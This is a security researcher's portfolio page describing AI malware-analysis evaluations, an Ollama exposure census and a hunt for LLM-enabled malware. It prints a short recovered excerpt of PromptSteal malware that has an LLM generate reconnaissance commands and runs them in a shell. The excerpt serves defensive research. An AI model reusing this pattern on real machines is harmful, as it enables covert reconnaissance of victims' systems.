GBS/

AI security research
San Francisco, CA

AI evaluation · cybersecurity research · applied systems

Gabriel
Bernadett-
Shapiro

I study where AI and security work intersect, evaluating frontier models to identify emerging capabilities, investigating new threats, and building systems that make the results useful in practice.

SentinelLABS
Distinguished AI Research Scientist
Johns Hopkins SAIS
Adjunct Lecturer

Previously at OpenAI, Salesforce AI Research, and Apple Security.

Selected work ↓ Contact ↗
Portrait of Gabriel Bernadett-Shapiro
San Francisco, CAAI security research
Pacific coast · Bay Area ↗ Terrain reference

01 / Selected work

Research,
in practice.

A capability only matters when it survives contact with real work. These investigations explore what AI can do and what that means for the people working in security.

01 / LONG-HORIZON MALWARE ANALYSIS

Sol Searching

Juan Andrés Guerrero-Saade and I wanted to know how much of a malware investigation an agent could carry through on its own. We turned fast16, a real sabotage implant, into an eight-stage evaluation that asked agents to uncover its components, test possible targets, and revisit conclusions as new evidence arrived.

Read the evaluation ↗
Inside the investigationfast16 / GPT-5.6 Sol · xhigh

Loading the original investigation data…

Preserved annotationCurrent focus

A closer look

Connect.dll

Follow how the agent gives the binary’s functions and data meaningful names. Select a point to see a change.

Recorded annotationsub_10009A38↓g_empty_wide_stringConnect.dll:0x10009A38

0 / 1,440 objects

The agent leaves behind an annotated database that another investigator can inspect and build on.

An investigation has to hold together.

A wrong assumption can work its way into code, tests, and the final report. We found that the strongest runs could trace those dependencies and carry a correction through the whole project. That makes longer stretches of work practical to delegate, with analysts able to inspect the evidence and decide what to trust.

02 / EVALUATION SYSTEMS

Context Engineering

As an investigation grows, an agent has more history to carry. At SentinelLABS, we compared malware-analysis runs with and without memory compaction, checking function analysis, names, types, and behavioral explanations against reference databases and expert reports.

Read the evaluation ↗
The same analysis, less to carry

Memory

Each request includes earlier turns, tool outputs, code, and working hypotheses.

↳ Exact evidence stays available

Decompiled functions · tool logs · reference artifacts

Token use · baseline = 100%

Input−86%
14%
Output−31%
69%
Reasoning−33%
67%

Aggregate evaluation scoreEffectively unchanged

The average score didn’t tell the whole story.

Compaction cut token use while leaving the overall score effectively unchanged. But the agents became less reliable at recovering the higher-level structures that explain the malware. That matters when deciding what work to automate: savings are useful only if the details an analyst depends on survive.

03 / INTERNET MEASUREMENT

Silent Brothers

Silas Cutler (Censys) and I built and analyzed a census of publicly reachable Ollama hosts to understand how AI is being deployed outside the major platforms. Over 293 days, we observed 175,108 hosts across 130 countries, with a surprisingly familiar set of models turning up almost everywhere.

Read the joint research ↗
The model families behind the hostsMarch–December 2025

Loading the census data…

Share of all census hosts

40,694 hosts ran Llama + Qwen2.That is 52.3% of hosts running more than one model family. The same pairing recurred across very different deployments.

7.23Mscan observations
13% → 76%hosts → share of observations
>48%advertised tool calling
Bigger circles mean more hosts; links join model families found together. Hosts can run several families.

The same dependencies turn up everywhere.

These deployments sit across thousands of networks, but often rely on the same model families and software formats. That gives defenders a useful place to focus: a weakness in a widely shared dependency could affect systems whose operators otherwise have little in common.

04 / SOURCE EVIDENCE

Prompts as Code

Alex Delamotte, Vitaly Kamluk, and I went looking for malware that uses an LLM while it runs. We hunted for embedded API keys and prompts, then examined how the software used the responses. PromptSteal shows why that matters: the model’s output becomes commands running on the victim’s machine.

Read the research ↗
PromptSteal / recovered Python
01def LLM_QUERY_EX():02    prompt = {03      'messages': [{04        'role': 'Windows systems administrator',05        'content': 'Make a list of commands to create folder C:\\Programdata\\info and to gather computer information, hardware information, process and services information, networks information, AD domain information, to execute in one line and add each result to text file c:\\Programdata\\info\\info.txt. Return only commands, without markdown'06      }],07      'temperature': 0.1,08      'top_p': 0.1,09      'model': 'Qwen/Qwen2.5-Coder-32B-Instruct'10    }11    llm_query = query_text(prompt)12 13    theproc = subprocess.run(14      llm_query, shell = True,15      stdout = subprocess.PIPE,16      stderr = subprocess.STDOUT)

01 / Intent in plain sight

The prompt is part of the program.

The prompt asks for reconnaissance commands in the guise of routine Windows administration. It requests commands without markdown so the program can use them directly.

What the wider hunt uncoveredMalTerminal

A previously unreported tool that used GPT-4 to generate ransomware or a reverse shell. We found no evidence of its deployment in the wild.

1 yearVirusTotal retrohunt
7,000+files containing API keys
6,000+unique embedded keys
Download our YARA rule ↓Recovered source ↗

The prompt can tell us what the program is trying to do.

Most files with embedded keys were harmless, so a match was only a starting point. Extracting prompts and scoring their intent helped us decide which samples to investigate. Following the response into the code then showed how the model was being used.

02 / In public

Writing, talks,
and teaching.

Research papers, arguments worth having, and practical tools for people doing the work.

Computer Weekly

The silent substrate

What 175,000 exposed AI endpoints tell us about where AI actually lives.

Essay ↗

Three Buddy Problem

Find 50,000 Bugs, Fix Zero

Why finding more vulnerabilities doesn’t necessarily make anyone safer.

Podcast ↗

CBS News

When weeks of security work become hours

What an eight-hour AI investigation means for cybersecurity.

Interview ↗

ICLR · coauthored

SiReRAG

Retrieval that connects related facts and similar passages for multihop reasoning.

Paper ↗

SentinelLABS · coauthored

LLMs & Ransomware

How AI accelerates existing criminal workflows before it invents new ones.

Research ↗

LABScon

LLM-Enabled Malware in the Wild

With Alex Delamotte and Vitaly Kamluk: from hunting strategy to recovered samples.

Talk ↗

Johns Hopkins SAIS

Building with Artificial Intelligence

Hands-on teaching for automation and intelligence work.

Workshop ↗

Open-source tools

AI Security Starter Kit

A practical starting point for applying AI to security research and OSINT.

Code ↗

Unsupervised Learning

AI and threat intelligence

A conversation with Daniel Miessler about how the work is changing.

Podcast ↗

03 / Profile

From intelligence
to evaluation.

My work in AI grew out of threat intelligence, where a useful finding has to stand up to evidence and help someone decide what to do next.

SENTINELONE · SENTINELLABS

Distinguished AI Research Scientist

At SentinelLABS, I work with researchers to turn difficult security questions into evaluations grounded in reverse engineering, malware analysis, and security operations.

JOHNS HOPKINS SAIS

Adjunct Lecturer

A hands-on workshop where practitioners explore AI through automation and intelligence problems.

SALESFORCE · AI RESEARCH

Lead AI Research Scientist

Our work explored how retrieval systems connect evidence, answer complex questions, and hold up under adversarial testing.

OPENAI

Member of Technical Staff

My work spanned early GPT-4 cyber evaluations and production tools that used model-led tagging and grading to help an internal team understand abuse in the highest-risk one percent of traffic.

APPLE · INFORMATION SECURITY

Senior Threat Intelligence Researcher

Threat intelligence work on exploit development, supply-chain risk, and incident response, alongside Apple’s security teams.

KASPERSKY · GOVERNMENT SECURITY SOLUTIONS

Threat Intelligence Analyst

Research on advanced threats for government customers, drawing on global sensor data and relationships between adversaries.

STANFORD UNIVERSITY · HOOVER INSTITUTION

Special Research Assistant

Research into militant operational capacity and threats to global supply chains.

04 / Open channel

Let’s test the frontier
before the frontier tests us.

Get in touch about research, evaluation, product, or speaking.

Email Gabriel ↗ Contact on LinkedIn ↗ GitHub ↗ SentinelLABS ↗ X · @gabeincognito ↗